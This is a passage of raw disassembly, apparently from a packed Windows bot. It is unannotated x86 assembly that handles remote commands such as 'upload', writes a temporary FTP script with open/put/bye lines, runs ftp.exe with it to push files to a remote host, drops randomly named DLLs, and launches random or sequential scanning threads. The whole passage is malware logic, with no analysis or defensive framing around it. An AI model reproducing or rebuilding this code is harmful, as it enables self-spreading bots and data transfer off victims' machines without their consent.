2680000h jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj nop call near ptr 268082Fh push eax push offset unk_42ADAC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42AD6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42AD44 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 26905CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB590 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42ACD4 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42ACA4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431AC8, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431AC8 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431AC8[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42AC70 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42AC3C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB5C8 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB6B0 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D7D8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42ABD4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h call near ptr 2680000h nop jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j nop call near ptr 268082Fh push eax push offset unk_42AB9C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB6B0 push eax lea eax, [ebp+var_2C4] push offset unk_42AB4C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call near ptr 2680000h nop jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 268082Fh push eax push offset unk_42AB10 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] loc_407868: ; DATA XREF: Themida_:005546EDo call sub_41B779 imul eax, 234h pop ecx cmp byte_43E578[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42AB04 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E56C[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43E360[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43E578 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43E578[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E56C[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43E360[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43E578 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CB664 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB6B0 push eax lea eax, [ebp+var_2C4] push offset unk_42AAA8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 2680000h jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj call near ptr 268082Fh nop push eax push offset unk_42AB9C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h call near ptr 2680000h nop jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 268082Fh push eax push offset unk_42AA28 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A9FC push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h call near ptr 2680000h nop jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 268082Fh push eax push offset unk_42A9BC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A980 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h nop call near ptr 2680000h jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j nop call near ptr 268082Fh push eax push offset unk_42A948 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A918 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h nop call near ptr 2680000h jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj nop call near ptr 268082Fh push eax push offset unk_42A8E0 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A8B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h call near ptr 2680000h nop jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 268082Fh push eax push offset unk_42A878 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A848 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h nop call near ptr 2680000h jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 268082Fh push eax push offset dword_42A80C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A7E0 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 2680000h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 268082Fh push eax push offset unk_42A7A8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A770 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] nop call near ptr 26A0C55h test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A74C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A740 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A710 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 2680000h jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j call near ptr 268082Fh nop push eax push offset unk_42A6D4 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov 